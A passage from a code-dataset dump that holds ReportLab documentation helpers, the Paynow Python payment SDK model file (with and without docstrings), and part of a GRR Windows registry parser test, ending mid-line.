os.path.join(folder, 'DarkGardenMK.pfb') def NOP(*x,**y): return None def CPage(inches): getStory().append(CondPageBreak(inches*inch)) def newPage(): getStory().append(PageBreak()) def nextTemplate(templName): f = NextPageTemplate(templName) getStory().append(f) def disc(text, klass=Paragraph, style=discussiontextstyle): text = quickfix(text) P = klass(text, style) getStory().append(P) def restartList(): getSequencer().reset('list1') def list1(text, doBullet=1): text=quickfix(text) if doBullet: text='<bullet><seq id="list1"/>.</bullet>'+text P = Paragraph(text, BU) getStory().append(P) def bullet(text): text=u'<bullet><font name="Symbol">\u2022</font></bullet>' + asUnicode(quickfix(text)) P = Paragraph(text, BU) getStory().append(P) def eg(text,before=0.1,after=0,klass=PythonPreformatted): space(before) disc(text, klass=klass, style=exampletextstyle) space(after) def npeg(text,before=0.1,after=0): eg(text,before=before,after=after,klass=XPreformatted) def space(inches=1./6): if inches: getStory().append(Spacer(0,inches*inch)) def EmbeddedCode(code,name='t'): eg(code) disc("produces") exec(code+("\ngetStory().append(%s)\n"%name)) def startKeep(): return len(getStory()) def endKeep(s): S = getStory() k = KeepTogether(S[s:]) S[s:] = [k] def title(text): disc(text,style=styleSheet['Title']) def headingTOC(text='Table of contents'): getStory().append(PageBreak()) p = Paragraph(text, H1) getStory().append(p) def heading1(text): getStory().append(PageBreak()) p = Paragraph('Chapter <seq id="Chapter"/> ' + quickfix(text), H1) getStory().append(p) def Appendix1(text,): global appmode getStory().append(PageBreak()) if not appmode: seq.setFormat('Chapter','A') seq.reset('Chapter') appmode = 1 p = Paragraph('Appendix <seq id="Chapter"/> ' + quickfix(text), H1) getStory().append(p) def heading2(text): getStory().append(CondPageBreak(inch)) p = Paragraph('<seq template="%(Chapter)s.%(Section+)s "/>' + quickfix(text), H2) getStory().append(p) def heading3(text): getStory().append(CondPageBreak(inch)) p = Paragraph(quickfix(text), H3) getStory().append(p) def image(path, width=None, height=None ): s = startKeep() space(.2) import reportlab rlDocImageDir = os.path.join(os.path.dirname(reportlab.__file__), 'docs','images') getStory().append(Image(os.path.join(rlDocImageDir,path),width,height)) space(.2) endKeep(s) def heading4(text): getStory().append(CondPageBreak(inch)) p = Paragraph(quickfix(text), H4) getStory().append(p) def todo(text): getStory().append(Paragraph(quickfix(text), Comment)) def centred(text): getStory().append(Paragraph(quickfix(text), Centred)) def caption(text): getStory().append(Paragraph(quickfix(text), Caption)) class Illustration(figures.Figure): def __init__(self, operation, caption, width=None, height=None): stdwidth, stdheight = examplefunctiondisplaysizes if not width: width = stdwidth if not height: height = stdheight figures.Figure.__init__(self, width, height, 'Figure <seq template="%(Chapter)s-%(Figure+)s"/>: ' + quickfix(caption)) self.operation = operation def drawFigure(self): self.operation(self.canv) def illust(operation, caption, width=None, height=None): i = Illustration(operation, caption, width=width, height=height) getStory().append(i) class GraphicsDrawing(Illustration): def __init__(self, drawing, caption): figures.Figure.__init__(self, drawing.width, drawing.height, 'Figure <seq template="%(Chapter)s-%(Figure+)s"/>: ' + quickfix(caption) ) self.drawing = drawing def drawFigure(self): d = self.drawing d.wrap(d.width, d.height) d.drawOn(self.canv, 0, 0) def draw(drawing, caption): d = GraphicsDrawing(drawing, caption) getStory().append(d) class ParaBox(figures.Figure): descrStyle = ParagraphStyle('description', fontName='Courier', fontSize=8, leading=9.6) def __init__(self, text, style, caption): figures.Figure.__init__(self, 0, 0, caption) self.text = text self.style = style self.para = Paragraph(text, style) styleText = self.getStyleText(style) self.pre = Preformatted(styleText, self.descrStyle) def wrap(self, availWidth, availHeight): self.x0 = availWidth * 0.05 self.x1 = availWidth * 0.1 self.x2 = availWidth * 0.5 self.x3 = availWidth * 0.9 self.x4 = availWidth * 0.95 self.width = self.x4 - self.x0 self.dx = 0.5 * (availWidth - self.width) paw, self.pah = self.para.wrap(self.x3 - self.x2, availHeight) self.pah = self.pah + self.style.spaceBefore + self.style.spaceAfter prw, self.prh = self.pre.wrap(self.x2 - self.x1, availHeight) self.figureHeight = max(self.prh, self.pah) * 10.0/9.0 return figures.Figure.wrap(self, availWidth, availHeight) def getStyleText(self, style): lines = [] for key, value in style.__dict__.items(): lines.append('%s = %s' % (key, value)) lines.sort() return '\n'.join(lines) def drawFigure(self): self.canv.saveState() self.canv.setFillGray(0.95) self.canv.setDash(1,3) self.canv.rect(self.x2 - self.x0, self.figureHeight * 0.95 - self.pah, self.x3-self.x2, self.para.height, fill=1,stroke=1) self.canv.setFillGray(0.90) self.canv.rect(self.x2 - self.x0, self.figureHeight * 0.95 - self.pah + self.para.height, self.x3-self.x2, self.style.spaceBefore, fill=1,stroke=1) self.canv.rect(self.x2 - self.x0, self.figureHeight * 0.95 - self.pah - self.style.spaceAfter, self.x3-self.x2, self.style.spaceAfter, fill=1,stroke=1) self.canv.restoreState() self.para.drawOn(self.canv, self.x2 - self.x0, self.figureHeight * 0.95 - self.pah) self.pre.drawOn(self.canv, self.x1 - self.x0, self.figureHeight * 0.95 - self.prh) def getStyleText(self, style): lines = [] for key, value in sorted(style.__dict__.items()): if key not in ('name','parent'): lines.append('%s = %s' % (key, value)) return '\n'.join(lines) class ParaBox2(figures.Figure): def __init__(self, text, caption): figures.Figure.__init__(self, 0, 0, caption) descrStyle = ParagraphStyle('description', fontName='Courier', fontSize=8, leading=9.6) textStyle = B self.text = text self.left = Paragraph(xmlEscape(text), descrStyle) self.right = Paragraph(text, B) def wrap(self, availWidth, availHeight): self.width = availWidth * 0.9 colWidth = 0.4 * self.width lw, self.lh = self.left.wrap(colWidth, availHeight) rw, self.rh = self.right.wrap(colWidth, availHeight) self.figureHeight = max(self.lh, self.rh) * 10.0/9.0 return figures.Figure.wrap(self, availWidth, availHeight) def drawFigure(self): self.left.drawOn(self.canv, self.width * 0.05, self.figureHeight * 0.95 - self.lh ) self.right.drawOn(self.canv, self.width * 0.55, self.figureHeight * 0.95 - self.rh ) def parabox(text, style, caption): p = ParaBox(text, style, 'Figure <seq template="%(Chapter)s-%(Figure+)s"/>: ' + quickfix(caption) ) getStory().append(p) def parabox2(text, caption): p = ParaBox2(text, 'Figure <seq template="%(Chapter)s-%(Figure+)s"/>: ' + quickfix(caption) ) getStory().append(p) def pencilnote(): getStory().append(examples.NoteAnnotation()) from reportlab.lib.colors import tan, green def handnote(xoffset=0, size=None, fillcolor=tan, strokecolor=green): getStory().append(examples.HandAnnotation(xoffset,size,fillcolor,strokecolor)) _story = [] def setStory(story=[]): global _story _story = story def getStory(): return _story
true
true
f73d97557226c71d9596083bcefe0c22636293e7
16,544
py
Python
paynow/model.py
DonnC/Paynow-Python-SDK
6adbbea444dac3286006d7c2191f23978bc3fa95
[ "MIT" ]
1
2021-05-19T13:49:54.000Z
2021-05-19T13:49:54.000Z
paynow/model.py
DonnC/paynow2
6adbbea444dac3286006d7c2191f23978bc3fa95
[ "MIT" ]
null
null
null
paynow/model.py
DonnC/paynow2
6adbbea444dac3286006d7c2191f23978bc3fa95
[ "MIT" ]
null
null
null
import requests import hashlib from six.moves.urllib_parse import quote_plus, parse_qs class HashMismatchException(Exception): """ Exception thrown when hash from Paynow does not match locally generated hash """ def __init__(self, message): super(HashMismatchException, self).__init__(message) # TODO: Update status response class to support dictionary class StatusResponse: paid=bool """ bool: Boolean value indication whether the transaction was paid or not """ status=str """ str: The status of the transaction in Paynow """ amount=float """ float: The total amount of the transaction """ reference=str """ any: The unique identifier for the transaction """ paynow_reference=str """ any: Paynow's unique identifier for the transaction """ hash=str """ any: Hash of the transaction in paynow """ def __status_update(self, data): """Parses the incoming status update from Paynow Args: data (any): The data from paynow """ print('Not implemented') # TODO: Implement method def __init__(self, data, update): if update: self.__status_update(data) else: self.status = data['status'].lower() self.paid = self.status == 'paid' if 'amount' in data: self.amount = float(data['amount']) if 'reference' in data: self.reference = data['reference'] if 'paynowreference' in data: self.paynow_reference = data['paynowreference'] if 'hash' in data: self.hash = data['hash'] class InitResponse: """Wrapper class for response from Paynow during transaction initiation """ success=bool """ bool: Boolean indicating whether initiate request was successful or not """ instructions=str """ bool: Boolean indicating whether the response contains a url to redirect to """ has_redirect=bool """ bool: Boolean indicating whether the response contains a url to redirect to """ hash=str """ str: Hashed transaction returned from Paynow """ redirect_url=str """ str: The url the user should be taken to so they can make a payment """ error=str """ str: the error message from Paynow, if any """ poll_url=str """ str: The poll URL sent from Paynow """ def __init__(self, data): # TODO return dict of kwargs self.status = data['status'] self.success = data['status'].lower() != 'error' self.has_redirect = 'browserurl' in data self.hash = 'hash' in data if not self.success: self.error = data['error'] return self.poll_url = data['pollurl'] if self.has_redirect: self.redirect_url = data['browserurl'] if 'instructions' in data: self.instruction = data['instructions'] def __repr__(self): '''Print friendly message, especially on errors''' return self.status class Payment: """Helper class for building up a transaction before sending it off to Paynow Attributes: reference (str): Unique identifier for the transaction items ([]): Array of items in the 'cart' """ reference=str """ str: Unique identifier for the transaction """ items=[] """ []: Array of items in the 'cart' """ auth_email=str """ str: The user's email address. """ def __init__(self, reference, auth_email): self.reference = reference self.auth_email = auth_email # auto-check to ensure clear list self.clearCart() def add(self, title: str, amount: float): """ Add an item to the 'cart' Args: title (str): The name of the item amount (float): The cost of the item """ self.items.append([title, amount]) return self def clearCart(self): ''' clear all added items ''' self.items.clear() def total(self): """Get the total cost of the items in the transaction Returns: float: The total """ total = 0.0 for item in self.items: total += float(item[1]) return total def info(self): """Generate text which represents the items in cart Returns: str: The text representation of the cart """ out = "" for item in self.items: out += (item[0] + ", ") return out def __repr__(self): # TODO: how woll this be presented when printed # information is too vague pass class Paynow: """Contains helper methods to interact with the Paynow API Attributes: integration_id (str): Merchant's integration id. integration_key (str): Merchant's integration key. return_url (str): Merchant's return url result_url (str): Merchant's result url Args: integration_id (str): Merchant's integration id. (You can generate this in your merchant dashboard) integration_key (str): Merchant's integration key. return_url (str): Merchant's return url result_url (str): Merchant's result url """ URL_INITIATE_TRANSACTION = "https://www.paynow.co.zw/interface/initiatetransaction" """ str: Transaction initation url (constant) """ URL_INITIATE_MOBILE_TRANSACTION = "https://www.paynow.co.zw/interface/remotetransaction" """ str: Transaction initation url (constant) """ integration_id=str """ str: Merchant's integration id """ integration_key=str """ str: Merchant's integration key """ return_url = "" """ str: Merchant's return url """ result_url = "" """ str: Merchant's result url """ # is it necessary to have return and results url ? # why not just combine these two; kill two birds with one stone # Leave the autonomy to the merchant ie merchant knows what to do with # a successful payment else its an error, merchant will debug, paynow # provides information about error def __init__(self, integration_id, integration_key, return_url='https://www.google.com', result_url='https://www.google.com'): self.integration_id = integration_id self.integration_key = integration_key self.return_url = return_url self.result_url = result_url def set_result_url(self, url): """Sets the url where the status of the transaction will be sent when payment status is updated within Paynow Args: url (str): The url where the status of the transaction will be sent when payment status is updated within Paynow """ self.result_url = url def set_return_url(self, url): """Sets the url where the user will be redirected to after they are done on Paynow Args: url (str): The url to redirect user to once they are done on Paynow's side """ self.return_url = url def create_payment(self, reference, auth_email): """Create a new payment Args: reference (str): Unique identifier for the transaction. auth_email (str): The phone number to send to Paynow. This is required for mobile transactions Note: Auth email is required for mobile transactions. Returns: Payment: An object which provides an easy to use API to add items to Payment """ return Payment(reference, auth_email) def send(self, payment): """Send a transaction to Paynow Args: payment (Payment): The payment object with details about transaction Returns: StatusResponse: An object with information about the status of the transaction """ return self.__init(payment) def send_mobile(self, payment, phone, method): """Send a mobile transaction to Paynow Args: payment (Payment): The payment object with details about transaction phone (str): The phone number to send to Paynow method (str): The mobile money method being employed Returns: StatusResponse: An object with information about the status of the transaction """ return self.__init_mobile(payment, phone, method) def process_status_update(self, data): """This method parses the status update data from Paynow into an easier to use format Args: data (dict): A dictionary with the data from Paynow. This is the POST data sent by Paynow to your result url after the status of a transaction has changed (see Django usage example) Returns: StatusResponse: An object with information about the status of the transaction """ return StatusResponse(data, True) def __init(self, payment): """Initiate the given transaction with Paynow Args: payment (Payment): The payment object with details about transaction Returns: InitResponse: An object with misc information about the initiated transaction i.e redirect url (if available), status of initiation etc (see `InitResponse` declaration above) """ if payment.total() <= 0: raise ValueError('Transaction total cannot be less than 1') # Build up the object data = self.__build(payment) # Save response from Paynow response = requests.post(self.URL_INITIATE_TRANSACTION, data=data) # Reconstruct the response into key-value pairs response_object = self.__rebuild_response(parse_qs(response.text)) # If an error was encountered return a new InitResponse object without validating hash since hash is not # generated for error responses if str(response_object['status']).lower() == 'error': return InitResponse(response_object) # Verify the hash from Paynow with the locally generated one if not self.__verify_hash(response_object, self.integration_key): raise HashMismatchException("Hashes do not match") # Create a new InitResponse object object passing in the data from Paynow return InitResponse(response_object) def __init_mobile(self, payment, phone, method): """Initiate a mobile transaction Args: payment (Payment): The payment object with details about transaction phone (str): The phone number to send to Paynow method (str): The mobile money method being employed Returns: InitResponse: An object with misc information about the initiated transaction i.e redirect url (if available), status of initiation etc (see `InitResponse` declaration above) """ if payment.total() <= 0: raise ValueError('Transaction total cannot be less than 1') if not payment.auth_email or len(payment.auth_email) <= 0: raise ValueError('Auth email is required for mobile transactions. You can pass the auth email as the ' 'second parameter in the create_payment method call') # Build up the object data = self.__build_mobile(payment, phone, method) # Save response from Paynow response = requests.post( self.URL_INITIATE_MOBILE_TRANSACTION, data=data) # Reconstruct the response into key-value pairs response_object = self.__rebuild_response(parse_qs(response.text)) # If an error was encountered return a new InitResponse object without validating hash since hash is not # generated for error responses if str(response_object['status']).lower() == 'error': return InitResponse(response_object) # Verify the hash from Paynow with the locally generated one if not self.__verify_hash(response_object, self.integration_key): raise HashMismatchException("Hashes do not match") # Create a new InitResponse object object passing in the data from Paynow return InitResponse(response_object) def check_transaction_status(self, poll_url): """Check the status transaction of the transaction with the given poll url Args: poll_url (str): Poll url of the transaction Returns: StatusResponse: An object with information about the status of the transaction """ response = requests.post(poll_url, data={}) _parsed = parse_qs(response.text) response_object = self.__rebuild_response(_parsed) return StatusResponse( response_object, False) def __build(self, payment): """Build up a payment into the format required by Paynow Args: payment (Payment): The payment object to format Returns: dict: A dictionary properly formatted in the format required by Paynow """ body = { "reference": payment.reference, "amount": payment.total(), "id": self.integration_id, "additionalinfo": payment.info(), "authemail": payment.auth_email or "", "status": "Message" } for key, value in body.items(): body[key] = quote_plus(str(value)) body['resulturl'] = self.result_url body['returnurl'] = self.return_url body['hash'] = self.__hash(body, self.integration_key) return body def __build_mobile(self, payment, phone, method): """Build up a mobile payment into the format required by Paynow Args: payment (Payment): The payment object to format phone (str): The phone number to send to Paynow method (str): The mobile money method being employed Note: Currently supported methods are `ecocash` and `onemoney` Returns: dict: A dictionary properly formatted in the format required by Paynow """ body = { "reference": payment.reference, "amount": payment.total(), "id": self.integration_id, "additionalinfo": payment.info(), "authemail": payment.auth_email, "phone": phone, "method": method, "status": "Message" } for key, value in body.items(): if(key == 'authemail'): continue body[key] = quote_plus(str(value)) # Url encode the body['resulturl'] = self.result_url body['returnurl'] = self.return_url body['hash'] = self.__hash(body, self.integration_key) return body def __hash(self, items, integration_key): """Generates a SHA512 hash of the transaction Args: items (dict): The transaction dictionary to hash integration_key (str): Merchant integration key to use during hashing Returns: str: The hashed transaction """ out = "" for key, value in items.items(): if(str(key).lower() == 'hash'): continue out += str(value) out += integration_key.lower() return hashlib.sha512(out.encode('utf-8')).hexdigest().upper() def __verify_hash(self, response, integration_key): """Verify the hash coming from Paynow Args: response (dict): The response from Paynow integration_key (str): Merchant integration key to use during hashing """ if('hash' not in response): raise ValueError("Response from Paynow does not contain a hash") old_hash = response['hash'] new_hash = self.__hash(response, integration_key) return old_hash == new_hash def __rebuild_response(self, response): """ Rebuild a response into key value pairs (as opposed to nested array returned from parse_qs) Args: response (dict): The response from Paynow Returns: dict: Key value pairs of the data from Paynow """ res = {} for key, value in response.items(): res[key] = str(value[0]) return res
32.249513
117
0.613939
import requests import hashlib from six.moves.urllib_parse import quote_plus, parse_qs class HashMismatchException(Exception): def __init__(self, message): super(HashMismatchException, self).__init__(message) class StatusResponse: paid=bool status=str amount=float reference=str paynow_reference=str hash=str def __status_update(self, data): print('Not implemented') def __init__(self, data, update): if update: self.__status_update(data) else: self.status = data['status'].lower() self.paid = self.status == 'paid' if 'amount' in data: self.amount = float(data['amount']) if 'reference' in data: self.reference = data['reference'] if 'paynowreference' in data: self.paynow_reference = data['paynowreference'] if 'hash' in data: self.hash = data['hash'] class InitResponse: success=bool instructions=str has_redirect=bool hash=str redirect_url=str error=str poll_url=str def __init__(self, data): self.status = data['status'] self.success = data['status'].lower() != 'error' self.has_redirect = 'browserurl' in data self.hash = 'hash' in data if not self.success: self.error = data['error'] return self.poll_url = data['pollurl'] if self.has_redirect: self.redirect_url = data['browserurl'] if 'instructions' in data: self.instruction = data['instructions'] def __repr__(self): return self.status class Payment: reference=str items=[] auth_email=str def __init__(self, reference, auth_email): self.reference = reference self.auth_email = auth_email self.clearCart() def add(self, title: str, amount: float): self.items.append([title, amount]) return self def clearCart(self): self.items.clear() def total(self): total = 0.0 for item in self.items: total += float(item[1]) return total def info(self): out = "" for item in self.items: out += (item[0] + ", ") return out def __repr__(self): pass class Paynow: URL_INITIATE_TRANSACTION = "https://www.paynow.co.zw/interface/initiatetransaction" URL_INITIATE_MOBILE_TRANSACTION = "https://www.paynow.co.zw/interface/remotetransaction" integration_id=str integration_key=str return_url = "" result_url = "" def __init__(self, integration_id, integration_key, return_url='https://www.google.com', result_url='https://www.google.com'): self.integration_id = integration_id self.integration_key = integration_key self.return_url = return_url self.result_url = result_url def set_result_url(self, url): self.result_url = url def set_return_url(self, url): self.return_url = url def create_payment(self, reference, auth_email): return Payment(reference, auth_email) def send(self, payment): return self.__init(payment) def send_mobile(self, payment, phone, method): return self.__init_mobile(payment, phone, method) def process_status_update(self, data): return StatusResponse(data, True) def __init(self, payment): if payment.total() <= 0: raise ValueError('Transaction total cannot be less than 1') data = self.__build(payment) response = requests.post(self.URL_INITIATE_TRANSACTION, data=data) response_object = self.__rebuild_response(parse_qs(response.text)) if str(response_object['status']).lower() == 'error': return InitResponse(response_object) if not self.__verify_hash(response_object, self.integration_key): raise HashMismatchException("Hashes do not match") return InitResponse(response_object) def __init_mobile(self, payment, phone, method): if payment.total() <= 0: raise ValueError('Transaction total cannot be less than 1') if not payment.auth_email or len(payment.auth_email) <= 0: raise ValueError('Auth email is required for mobile transactions. You can pass the auth email as the ' 'second parameter in the create_payment method call') data = self.__build_mobile(payment, phone, method) response = requests.post( self.URL_INITIATE_MOBILE_TRANSACTION, data=data) response_object = self.__rebuild_response(parse_qs(response.text)) if str(response_object['status']).lower() == 'error': return InitResponse(response_object) if not self.__verify_hash(response_object, self.integration_key): raise HashMismatchException("Hashes do not match") return InitResponse(response_object) def check_transaction_status(self, poll_url): response = requests.post(poll_url, data={}) _parsed = parse_qs(response.text) response_object = self.__rebuild_response(_parsed) return StatusResponse( response_object, False) def __build(self, payment): body = { "reference": payment.reference, "amount": payment.total(), "id": self.integration_id, "additionalinfo": payment.info(), "authemail": payment.auth_email or "", "status": "Message" } for key, value in body.items(): body[key] = quote_plus(str(value)) body['resulturl'] = self.result_url body['returnurl'] = self.return_url body['hash'] = self.__hash(body, self.integration_key) return body def __build_mobile(self, payment, phone, method): body = { "reference": payment.reference, "amount": payment.total(), "id": self.integration_id, "additionalinfo": payment.info(), "authemail": payment.auth_email, "phone": phone, "method": method, "status": "Message" } for key, value in body.items(): if(key == 'authemail'): continue body[key] = quote_plus(str(value)) body['resulturl'] = self.result_url body['returnurl'] = self.return_url body['hash'] = self.__hash(body, self.integration_key) return body def __hash(self, items, integration_key): out = "" for key, value in items.items(): if(str(key).lower() == 'hash'): continue out += str(value) out += integration_key.lower() return hashlib.sha512(out.encode('utf-8')).hexdigest().upper() def __verify_hash(self, response, integration_key): if('hash' not in response): raise ValueError("Response from Paynow does not contain a hash") old_hash = response['hash'] new_hash = self.__hash(response, integration_key) return old_hash == new_hash def __rebuild_response(self, response): res = {} for key, value in response.items(): res[key] = str(value[0]) return res
true
true
f73d9816ed2d91d4b9af83e71b96110a4fb322e7
5,452
py
Python
grr/core/grr_response_core/lib/parsers/windows_registry_parser_test.py
ahmednofal/grr
08a57f6873ee13f425d0106e4143663bc6dbdd60
[ "Apache-2.0" ]
null
null
null
grr/core/grr_response_core/lib/parsers/windows_registry_parser_test.py
ahmednofal/grr
08a57f6873ee13f425d0106e4143663bc6dbdd60
[ "Apache-2.0" ]
null
null
null
grr/core/grr_response_core/lib/parsers/windows_registry_parser_test.py
ahmednofal/grr
08a57f6873ee13f425d0106e4143663bc6dbdd60
[ "Apache-2.0" ]
2
2020-08-24T00:22:03.000Z
2020-11-14T08:34:43.000Z
#!/usr/bin/env python # -*- mode: python; encoding: utf-8 -*- """Tests for grr.parsers.windows_registry_parser.""" from __future__ import absolute_import from __future__ import unicode_literals from grr_response_core.lib import flags from grr_response_core.lib import utils from grr_response_core.lib.parsers import windows_registry_parser from grr_response_core.lib.rdfvalues import client_fs as rdf_client_fs from grr_response_core.lib.rdfvalues import paths as rdf_paths from grr_response_core.lib.rdfvalues import protodict as rdf_protodict from grr.test_lib import flow_test_lib from grr.test_lib import test_lib class WindowsRegistryParserTest(flow_test_lib.FlowTestsBaseclass): def _MakeRegStat(self, path, value, registry_type): options = rdf_paths.PathSpec.Options.CASE_LITERAL pathspec = rdf_paths.PathSpec( path=path, path_options=options, pathtype=rdf_paths.PathSpec.PathType.REGISTRY) if registry_type == rdf_client_fs.StatEntry.RegistryType.REG_MULTI_SZ: reg_data = rdf_protodict.DataBlob( list=rdf_protodict.BlobArray( content=[rdf_protodict.DataBlob(string=value)])) else: reg_data = rdf_protodict.DataBlob().SetValue(value) return rdf_client_fs.StatEntry( pathspec=pathspec, registry_data=reg_data, registry_type=registry_type) def testGetServiceName(self): hklm = "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services" parser = windows_registry_parser.WinServicesParser() self.assertEqual( parser._GetServiceName("%s/SomeService/Start" % hklm), "SomeService") self.assertEqual( parser._GetServiceName("%s/SomeService/Parameters/ServiceDLL" % hklm), "SomeService") def testWinServicesParser(self): dword = rdf_client_fs.StatEntry.RegistryType.REG_DWORD_LITTLE_ENDIAN reg_str = rdf_client_fs.StatEntry.RegistryType.REG_SZ hklm = "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services" hklm_set01 = "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services" service_keys = [ ("%s/ACPI/Type" % hklm, 1, dword), ("%s/ACPI/Start" % hklm, 0, dword), # This one is broken, the parser should just ignore it. ("%s/notarealservice" % hklm, 3, dword), ("%s/ACPI/ErrorControl" % hklm, 3, dword), ("%s/ACPI/ImagePath" % hklm, "system32\\drivers\\ACPI.sys", reg_str), ("%s/ACPI/DisplayName" % hklm, "Microsoft ACPI Driver", reg_str), ("%s/ACPI/Group" % hklm, "Boot Bus Extender", reg_str), ("%s/ACPI/DriverPackageId" % hklm, "acpi.inf_amd64_neutral_99aaaaabcccccccc", reg_str), ("%s/AcpiPmi/Start" % hklm_set01, 3, dword), ("%s/AcpiPmi/DisplayName" % hklm_set01, "AcpiPmi", rdf_client_fs.StatEntry.RegistryType.REG_MULTI_SZ), (u"%s/中国日报/DisplayName" % hklm, u"中国日报", reg_str), (u"%s/中国日报/Parameters/ServiceDLL" % hklm, "blah.dll", reg_str) ] stats = [self._MakeRegStat(*x) for x in service_keys] parser = windows_registry_parser.WinServicesParser() results = parser.ParseMultiple(stats, None) names = [] for result in results: if result.display_name == u"中国日报": self.assertEqual(result.display_name, u"中国日报") self.assertEqual(result.service_dll, "blah.dll") names.append(result.display_name) elif utils.SmartStr(result.registry_key).endswith("AcpiPmi"): self.assertEqual(result.name, "AcpiPmi") self.assertEqual(result.startup_type, 3) self.assertEqual(result.display_name, "[u'AcpiPmi']") self.assertEqual(result.registry_key, "%s/AcpiPmi" % hklm_set01) names.append(result.display_name) elif utils.SmartStr(result.registry_key).endswith("ACPI"): self.assertEqual(result.name, "ACPI") self.assertEqual(result.service_type, 1) self.assertEqual(result.startup_type, 0) self.assertEqual(result.error_control, 3) self.assertEqual(result.image_path, "system32\\drivers\\ACPI.sys") self.assertEqual(result.display_name, "Microsoft ACPI Driver") self.assertEqual(result.group_name, "Boot Bus Extender") self.assertEqual(result.driver_package_id, "acpi.inf_amd64_neutral_99aaaaabcccccccc") names.append(result.display_name) self.assertItemsEqual(names, [u"中国日报", "[u'AcpiPmi']", "Microsoft ACPI Driver"]) def testWinUserSpecialDirs(self): reg_str = rdf_client_fs.StatEntry.RegistryType.REG_SZ hk_u = "registry/HKEY_USERS/S-1-1-1010-10101-1010" service_keys = [("%s/Environment/TEMP" % hk_u, r"temp\path", reg_str), ("%s/Volatile Environment/USERDOMAIN" % hk_u, "GEVULOT", reg_str)] stats = [self._MakeRegStat(*x) for x in service_keys] parser = windows_registry_parser.WinUserSpecialDirs() results = list(parser.ParseMultiple(stats, None)) self.assertEqual(results[0].temp, r"temp\path") self.assertEqual(results[0].userdomain, "GEVULOT") def testWinSystemDriveParser(self): sysroot = (r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT" r"\CurrentVersion\SystemRoot") stat = self._MakeRegStat(sysroot, r"C:\Windows", None) parser = windows_registry_parser.WinSystemDriveParser() self.assertEqual(r"C:", parser.Parse(stat, None).next()) def main(argv): test_lib.main(argv) if __name__ == "__main__": flags.StartMain(main)
43.269841
79
0.701577
from __future__ import absolute_import from __future__ import unicode_literals from grr_response_core.lib import flags from grr_response_core.lib import utils from grr_response_core.lib.parsers import windows_registry_parser from grr_response_core.lib.rdfvalues import client_fs as rdf_client_fs from grr_response_core.lib.rdfvalues import paths as rdf_paths from grr_response_core.lib.rdfvalues import protodict as rdf_protodict from grr.test_lib import flow_test_lib from grr.test_lib import test_lib class WindowsRegistryParserTest(flow_test_lib.FlowTestsBaseclass): def _MakeRegStat(self, path, value, registry_type): options = rdf_paths.PathSpec.Options.CASE_LITERAL pathspec = rdf_paths.PathSpec( path=path, path_options=options, pathtype=rdf_paths.PathSpec.PathType.REGISTRY) if registry_type == rdf_client_fs.StatEntry.RegistryType.REG_MULTI_SZ: reg_data = rdf_protodict.DataBlob( list=rdf_protodict.BlobArray( content=[rdf_protodict.DataBlob(string=value)])) else: reg_data = rdf_protodict.DataBlob().SetValue(value) return rdf_client_fs.StatEntry( pathspec=pathspec, registry_data=reg_data, registry_type=registry_type) def testGetServiceName(self): hklm = "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services" parser = windows_registry_parser.WinServicesParser() self.assertEqual( parser._GetServiceName("%s/SomeService/Start" % hklm), "SomeService") self.assertEqual( parser._GetServiceName("%s/SomeService/Parameters/ServiceDLL" % hklm), "SomeService") def testWinServicesParser(self): dword = rdf_client_fs.StatEntry.RegistryType.REG_DWORD_LITTLE_ENDIAN reg_str = rdf_client_fs.StatEntry.RegistryType.REG_SZ hklm = "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services" hklm_set01 = "HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/services" service_keys = [ ("%s/ACPI/Type" % hklm, 1, dword), ("%s/ACPI/Start" % hklm, 0, dword), ("%s/notarealservice" % hklm, 3, dword), ("%s/ACPI/ErrorControl" % hklm, 3, dword), ("%s/ACPI/ImagePath" % hklm, "system32\\drivers\\ACPI.sys", reg_str), ("%s/ACPI/DisplayName" % hklm, "Microsoft ACPI Driver", reg_str), ("%s/ACPI/Group" % hklm, "Boot Bus Extender", reg_str), ("%s/ACPI/DriverPackageId" % hklm, "acpi.inf_amd64_neutral_99aaaaabcccccccc", reg_str), ("%s/AcpiPmi/Start" % hklm_set01, 3, dword), ("%s/AcpiPmi/DisplayName" % hklm_set01, "AcpiPmi", rdf_client_fs.StatEntry.RegistryType.REG_MULTI_SZ), (u"%s/中国日报/DisplayName" % hklm, u"中国日报", reg_str), (u"%s/中国日报/Parameters/ServiceDLL" % hklm, "blah.dll", reg_str) ] stats = [self._MakeRegStat(*x) for x in service_keys] parser = windows_registry_parser.WinServicesParser() results = parser.ParseMultiple(stats, None) names = [] for result in results: if result.display_name == u"中国日报": self.assertEqual(result.display_name, u"中国日报") self.assertEqual(result.service_dll, "blah.dll") names.append(result.display_name) elif utils.SmartStr(result.registry_key).endswith("AcpiPmi"): self.assertEqual(result.name, "AcpiPmi") self.assertEqual(result.startup_type, 3) self.assertEqual(result.display_name, "[u'AcpiPmi']") self.assertEqual(result.registry_key, "%s/AcpiPmi" % hklm_set01) names.append(result.display_name) elif utils.SmartStr(result.registry_key).endswith("ACPI"): self.assertEqual(result.name, "ACPI") self.assertEqual(result.service_type, 1) self.assertEqual(result.startup_type, 0) self.assertEqual(result.error_control, 3) self.assertEqual(result.image_path, "system32\\drivers\\ACPI.sys") self.assertEqual(result.display_name, "Microsoft ACPI Driver") self.assertEqual(result.group_name, "Boot Bus Extender") self.assertEqual(result.driver_package_id, "acpi.inf_amd64_neutral_99aaaaabcccccccc") names.append(result.display_name) self.assertItemsEqual(names, [u"中国日报", "[u'AcpiPmi']", "Microsoft ACPI Driver"]) def testWinUserSpecialDirs(self): reg_str = rdf_client_fs.StatEntry.RegistryType.REG_SZ hk_u = "registry/HKEY_USERS/S-1-1-1010-10101-1010" service_keys = [("%s/Environment/TEMP" % hk_u, r"temp\path", reg_str), ("%s/Volatile Environment/USERDOMAIN" % hk_u, "GEVULOT", reg_str)] stats = [self._MakeRegStat(*x) for x in service_keys] parser = windows_registry_parser.WinUserSpecialDirs() results = list(parser.ParseMultiple(stats, None)) self.assertEqual(results[0].temp, r"temp\path") self.assertEqual(results[0].userdomain, "GEVULOT") def testWinSystemDriveParser(self): sysroot = (r"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT" r"\CurrentVersion\SystemRoot") stat = self._MakeRegStat(sysroot, 